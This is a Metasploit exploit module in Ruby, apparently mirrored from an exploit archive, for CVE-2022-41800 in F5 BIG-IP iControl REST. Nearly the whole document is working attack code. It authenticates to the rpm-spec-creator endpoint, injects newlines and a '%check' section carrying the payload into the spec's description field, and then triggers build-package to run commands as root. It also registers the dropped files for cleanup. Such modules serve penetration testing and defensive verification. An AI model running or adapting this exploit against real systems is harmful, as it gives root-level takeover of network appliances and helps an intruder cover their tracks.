Share
## https://sploitus.com/exploit?id=PACKETSTORM:170008
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 BIG-IP iControl Authenticated RCE via RPM Creator',  
'Description' => %q{  
This module exploits a newline injection into an RPM .rpmspec file  
that permits authenticated users to remotely execute commands.  
  
Successful exploitation results in remote code execution  
as the root user.  
},  
'Author' => [  
'Ron Bowes' # Discovery, PoC, and module  
],  
'References' => [  
['CVE', '2022-41800'],  
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],  
['URL', 'https://support.f5.com/csp/article/K97843387'],  
['URL', 'https://support.f5.com/csp/article/K13325942'],  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2022-11-16', # Vendor advisory  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Privileged' => true,  
'Targets' => [  
[ 'Default', {} ]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.  
'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION], # One at a time  
'SideEffects' => [  
IOC_IN_LOGS,  
ARTIFACTS_ON_DISK  
]  
}  
)  
)  
  
register_options(  
[  
OptString.new('HttpUsername', [true, 'iControl username', 'admin']),  
OptString.new('HttpPassword', [true, 'iControl password', ''])  
]  
)  
end  
  
def exploit  
# The RPM name is based on these, so we need these to delete the RPM file after  
name = rand_text_alphanumeric(5..10)  
version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"  
release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"  
  
vprint_status('Creating an .rpmspec file on the target...')  
result = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'),  
'ctype' => 'application/json',  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),  
'data' => {  
'specFileData' => {  
'name' => name,  
'srcBasePath' => '/tmp',  
'version' => version,  
'release' => release,  
# This is the injection - add newlines then a '%check' section  
'description' => "\n\n%check\n#{payload.encoded}\n",  
'summary' => rand_text_alphanumeric(5..10)  
}  
}.to_json  
})  
  
fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result  
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401  
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200  
  
json = result&.get_json_document  
fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json  
  
file_path = json['specFilePath']  
fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path  
vprint_status("Created spec file: #{file_path}")  
register_file_for_cleanup(file_path)  
  
# We can also use `exit 1` in the %check function to prevent this file  
# from being created, rather than cleaning it up.. but that seems noisier?  
# Neither option gets logged so /shrug  
register_file_for_cleanup("/var/config/rest/node/tmp/RPMS/noarch/#{name}-#{version}-#{release}.noarch.rpm")  
  
vprint_status('Building the RPM to trigger the payload...')  
result = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/build-package'),  
'ctype' => 'application/json',  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),  
'data' => {  
'state' => {},  
'appName' => rand_text_alphanumeric(5..10),  
'packageDirectory' => '/tmp',  
'specFilePath' => file_path  
}.to_json  
})  
fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result  
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401  
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299  
end  
end